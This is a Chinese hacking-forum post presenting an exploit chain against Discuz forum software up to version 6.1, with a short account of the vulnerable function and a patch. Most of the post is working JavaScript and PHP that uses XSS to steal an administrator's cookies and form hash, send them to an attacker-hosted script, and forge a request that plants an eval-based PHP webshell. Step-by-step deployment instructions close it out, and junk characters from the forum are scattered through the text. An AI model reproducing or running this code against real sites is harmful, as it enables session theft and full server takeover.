中国网络渗透测试联盟

标题: Discuz XSS得webshell [打印本页]

作者: admin    时间: 2012-9-13 17:11
标题: Discuz XSS得webshell
Discuz XSS得webshell
% M/ P' D9 b9 w% @1 m! MBy racle @tian6.com
4 C7 T# v$ Y5 u9 g5 C& O  A* G欢迎转帖.但请保留版权信息.
, K( D' o6 k8 }& z" ^' e受影响版本iscuz<=6.1.0,gbk+utf+big5
* |: ?+ e9 [) V: X0 X, X7 B% V9 F6 ?# V: \+ Z
新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.  ~( T2 x. C( \' J$ B: t( A
4 ], F3 l# _9 Q4 o

8 ?  ^3 O% v7 F& J: q4 ]9 O2 C4 w3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706
6 F0 b% l$ Y* |3 S* c) p当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.' [# k- \, |8 {* V( b4 }, n

2 O& x/ w$ c/ X. j8 C- b5 K* p) t分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..
9 y4 L5 j* |$ N8 ?, _+ R. T本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS
1 q, ]; A( H4 z( F  U0 [6 W& R6 K
8 `9 ~8 D5 E& e- W5 Q
" B9 @' G$ {; |" d: W8 e8 }----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------
5 f: |4 a" |+ b/ C2 h& x9 i5 V6 H
+ a& g& B6 y5 K* @+ x0 o, i, k- o" @  K
problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.1 A" v" X& E( o. S

& a) G: S: [9 R+ }% L% W7 Vproblem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.
7 u& f: K3 P0 ]2 ]) F
8 c1 H% H% {- k9 u* Zproblem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.
, U2 A( a( {- k1 G) a. W: k
4 x! c: m" Q1 M
0 O1 P, n$ U! n) O1 \* U& R- E+ m下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {
* C* ]9 ?4 h! m3 c0 M& e) D/ F- O8 x6 f4 ^2 F7 o
        global $runwizardfile, $runwizardhistory;
3 M6 e9 c+ D& R! |0 L: [
4 R! V! f* @0 B: V8 W6 ]) `# X        $fp = fopen($runwizardfile, 'w');2 v0 `4 g) `; h2 [8 e( @, C

+ Y, P% ?4 n/ ]4 y        fwrite($fp, serialize($runwizardhistory));
& G+ O3 T; O# x: w0 |# {& `
/ ~1 `4 p8 R0 I: g  u. z& D8 q        fclose($fp);
) `; v8 N: q/ I# V8 {" u( Q. R1 E9 a
}
0 d' S% k6 D9 O' j复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.
3 f! ?7 U. K* J以下是修补的办法:function saverunwizardhistory() {
. V! a- C3 u, O; h. O7 K+ f/ o/ a
        global $runwizardfile, $runwizardhistory;- r+ \  U$ j1 A7 L% F2 M

& |# ~' w2 h. ?! N. K8 m2 _        $fp = fopen($runwizardfile, 'w');
  u' M0 X! L; N0 C" [
1 E* d. F2 g0 P! }8 D; i; w' q& n        $s = '<?php exit;?>';% Z" N" P5 [' A6 f+ A% v7 `
. j- s* T1 @  O5 j2 p# M* ^; L
        $s .= serialize($runwizardhistory);( P- M' l* c( r6 z3 w

: n3 x: e, b; h+ r( H3 I        fwrite($fp, $s);5 V+ z+ Z: i  m7 T$ F8 u
' N7 c& ^& a0 b( F2 m4 n2 r
        fclose($fp);; e1 |/ y( x9 y5 Q! c9 L% z
: `. W4 g7 @( {" L$ K% W
}$ D% x5 Y* M3 \" W: v% T
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.
4 Y1 a& E% Q( y  k4 b# n) Y/ w+ |+ V2 s- D" k! ]7 k

, y; s) @% t( Q& d1 F( G4 h' C! G/ v; U7 m6 q% B% d
----------------------------------------漏洞的成因和利用方法分隔线------------------------------------------------------------------------------ ]! U1 ~) L4 V; s- _0 q( N( c

9 @2 B1 g( e5 G2 j& n4 J  U2 v$ w
5 F6 f. z- S% q  以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.
& n4 J1 j! b  J, ~) t
- l+ ]. z3 W, z! |5 |1 {* Y  X( K我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.
0 j/ |# l3 x# b* B! F% K+ K' S# q8 Z* b8 k% d2 \
这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.; r% e$ G3 b' ~

2 O+ {# q5 L( N: R# q首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:
) d* L) @* V" u5 i; F  g; n+ \: q1 s# D% x
var url="http://目标网站/admincp.php";      3 A8 G6 r4 _8 g7 A5 P
) i) N' C; n$ b
/*获得cookies*/
' X" S. b. D/ s& J/ x. `3 K. f/ N' ]/ Q9 ?7 U
function getURL(s) {5 o/ O7 i4 D& u2 f) J: ^" f
) Y$ M! J) f4 a5 y# ]6 @) `1 V' h" ]
var image = new Image();
2 B4 ]3 }9 \4 x4 U2 h: w  E
$ K3 |- ~) a9 Nimage.style.width = 0;
% z2 j/ j" e( i; X1 v. ]
8 n  M8 Y& k# r8 B7 d( K$ Z. Rimage.style.height = 0;
  y# B% j0 i1 b( m; T
7 |( @1 O" H# M# Himage.src = s;0 ]- ], Z* F& d+ A$ v) e

& B0 p( J% W% l8 Z3 Z}
" T+ }0 ~1 I) h1 _
) ~  c* r4 {% R3 W; RgetURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie));  //这里就通过image变量传给了php. {, d3 G0 a- \7 t. I3 q+ V0 S
复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];
( |4 r2 z/ l9 S/ o复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) * a# y$ M0 t4 I- p9 ~& J
: H& [9 E' D7 |# L
, Z; x& f2 s7 z3 }
获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";6 J$ k9 g0 {8 z1 z, }  q! u

" v/ ^9 B* s3 j* }, m% B* s. d+ [% ^  b
6 W5 |& T6 @' X" K; I
/*hash*/! d7 b0 ]2 b$ S7 ^5 O; C1 S' R

  v, Q( U! W, `3 @$ B7 V- vvar xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");
  \/ l: Y8 B" y& d1 S% G) R4 D7 u+ B7 f
xmlHttpReq.open("GET", url+"admincp.php?action=home", false);( L' G8 e! q1 T7 J6 m" n

4 p% {+ {8 x1 zxmlHttpReq.send();+ B+ y  T1 a6 ~; {) V1 p: O

  D1 M* g1 x  ~" ivar resource = xmlHttpReq.responseText;
- S2 q8 i$ Q9 X; h
$ ]% v+ q0 F. ovar numero = resource.search(/formhash/);5 M. M* ^2 w+ \  f& r! ]8 T

3 ?* z) [" v. d8 v7 }var formhash=encodeURIComponent(resource.substr(numero+17,8));
$ ~+ r* [. _2 ]" v& X6 i7 `
. g" S9 \8 e& p/ l
0 H, R4 D  k% F/ V7 j# b. m' K& \' e$ }. U2 [& |; d8 L
var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据
: N/ Z5 _1 E0 c! H( `$ P% F) m
' u( a5 O" }' WxmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信 ) g8 r- T/ Z' o# {7 ~

+ ~' X$ F0 l8 Y/ JxmlHttpReq.setRequestHeader("Referer", url);
% v6 W% R0 S3 B9 `- j" m
* U6 z* s, D! s. C, C% kxmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
/ m' C4 }2 k) m6 V
; [+ j4 B0 T. f1 S" K. HxmlHttpReq.setrequestheader("content-length",post.length);
3 @7 X5 @: N/ _  i) B
0 X* L3 v" P* ~! W5 E; N0 zxmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded"); 4 U* J0 r) ^- T6 p8 P9 y8 O

' f1 P( Y- Q+ [; _) nxmlHttpReq.send(post);//发送数据
* f: W; J6 [" f: w" n. ^0 q复制代码这里HASH我假设正确,这样提交,也无须cookies, u' N! ~7 j. i

5 e5 q, s6 H. Z5 ]+ i; M1 K再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);$ Z& r* K% o4 O! m

: v3 m% j5 Q3 ?( e, i& wif (!$sock) die("$errstr ($errno)\n");& |$ o& e9 Y* M3 F* P3 _
" w# \6 C' |3 l
$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';& f& E+ J7 X! S3 c  J" c9 W  C

' L: G! F% Q: u( D% ]8 a; R) u1 i; {  {' v) R
8 C( G2 o4 u% J2 {/ K+ R* ]& [" }
fwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");# s: p2 t0 V( d; [$ m3 p8 Z6 o

2 Q) D% e. C5 z5 X% t" Sfwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");; C2 q" x# j, x
8 g2 H" u. b, j% o
fwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");# j0 O3 w3 h  u8 U! k9 ]6 H  C

6 t2 V7 n; g8 [6 n7 Y7 e- [fwrite($sock, "Accept-Language: zh-cn\r\n");
" a' [/ K9 n  s( c/ O0 J! y1 `0 [3 G9 D, a0 X9 z: x# L
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");% E2 V* q2 J! M) t; y0 Z

1 D: n5 t3 w  a) ?5 {fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");" A9 S# S$ O) @" E9 C
8 l2 O7 `4 ~# w0 }- _
fwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");
$ S0 K7 x3 p$ T: d  U1 d4 F* a+ P3 l( x0 I
fwrite($sock, "Host: $url\r\n");
0 d9 d& P" f+ X" y/ ~
2 g& z0 U9 E  B; a/ X  S3 d# zfwrite($sock, "Content-Length: ".strlen($data)."\r\n");! ~  B. [% G9 C' ]

1 W* X" ^7 `1 W0 m2 Hfwrite($sock, "Connection: Keep-Alive\r\n");
1 j" i. p0 M# Z- G5 H7 m
/ G) Z2 H8 E; v6 N: u6 q; x; ?! g% O; Bfwrite($sock, "Cache-Control: no-cache\r\n");
3 R6 w: H! C% _, _& p* l
/ A2 X' W/ i, I* u# \, lfwrite($sock, "Cookie:".$cookies."\r\n\r\n");2 T" ]2 J3 A6 l) Q, U! F2 P2 e# `

1 L+ B- U: z  W# T, [/ R! H6 {, Afwrite($sock, $data);# v1 n. h; l* N% w1 ]! n. x- m5 }

# \, z5 f9 u. E2 m. M& K. y% H. |9 e- |3 N& }
0 I. u* R" Q1 a
$headers = "";
( g, E# K( s* Q
. c* u  s+ p/ V2 zwhile ($str = trim(fgets($sock, 4096)))
* [8 t9 A6 D7 X; [$ c: h! Y2 L9 j: t
     $headers .= "$str\n";
" L' E8 g/ P$ `. i3 e7 W
; U. E; ?' g: t8 h  |/ A: Aecho "\n";
1 u0 _$ F, x4 Z7 ]; {! |& P. A
5 Y1 o  |* l9 ^0 ]$body = "";; E! R) g$ c/ J6 a

8 L8 O( g. \8 ewhile (!feof($sock))
2 ~. K) W% v! I7 H: D6 ]' {0 c3 w0 q  F. z
     $body .= fgets($sock, 4096);
/ |1 h9 C* u8 x6 Q2 a' z
1 ^3 `6 W: L  `* ifclose($sock);& A% _" S, Z# ^  X; P1 t

$ {& N% t& j( f: n& s0 Vecho $body;% }0 H. F2 X& s9 E* q5 P) D
复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^! c) a( T  ^& j4 G. m. K0 A
% T, e  L& b. k6 y: P

8 u" ^; G; K: X4 H" {. X. k-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------
. s4 }7 E5 l2 c) Q1 R7 \! z
* E3 [  N- T9 ?8 b" U
- q% {) z6 h* o7 k6 `7 L1HP SOCKET利用方法首先打开racle.js
/ `+ G* X- l) B) e) U4 O2 C! n6 I' p9 v% T' `$ h0 Y. b* E  h! W- i
var url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home* k2 X3 x9 ]. X3 b0 I

4 \  Q' b% r$ ~7 B
: h# Q8 O2 O& m7 p, P! P
  B3 ]3 y2 a" N) [( t4 l2 |: T然后打开racle@tian6.php1 r* }/ W8 H7 {( @7 X
/ b8 {8 T5 z. }6 j, a, t% p3 r
$url="racle@tian6.com";   //改成你要XSS攻击的目标,譬如www.discuz.com1 W: x7 P* l) H: G

# C5 l- k  P; l( u5 h, x( `5 X. L+ T2 [3 B
0 G- }, {3 [1 `; Z7 v# S+ y" s) _9 A
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:7 }2 o" P: L- J6 r# p

0 A2 z7 P+ G) Y$ _+ o5 f( X% [getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));
' e- L5 D$ \- X" S. W) l9 v% G8 _( u! v1 G' g, f9 A# ], _* c' o

5 L% P3 T2 Z! O
) t  o% O  z7 YgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));
4 ^' o8 @* `% Z复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.
; r1 C. x) l* J& N7 r
% M( A& T8 P. C, H5 |1 o# i3 l/ `$ V9 b3 P7 _
7 g( Y5 O/ M( X& s
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:1 S5 ]5 Q, ~0 I, Q3 n
; I( }7 t9 }, G% z9 @9 x) e2 b1 R5 s
var formhash=encodeURIComponent(resource.substr(numero+17,8));! {/ F% n; e; A5 V# B6 ?4 K9 k
8 i) }# x, L. F7 i

, }$ o% A% K8 z
5 ?( B" Q, W& f, h8 Y8 l5 m0 c/ l/ r8 ]var formhash=encodeURIComponent(resource.substr(numero+9,8));1 v5 z: `2 W1 J& @) _
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.
4 C, f. m/ G5 R; k4 t
8 L0 q7 g5 A3 i如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.
$ M8 X  x: P" T* X$ d9 |9 y4 t' k, M- L9 S
如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.
! t; g0 d/ ?  i7 m
& r: ~9 v0 x6 f不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.
3 b& l' N, ]1 b6 O0 E* e
+ d' a. y: B% Y




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2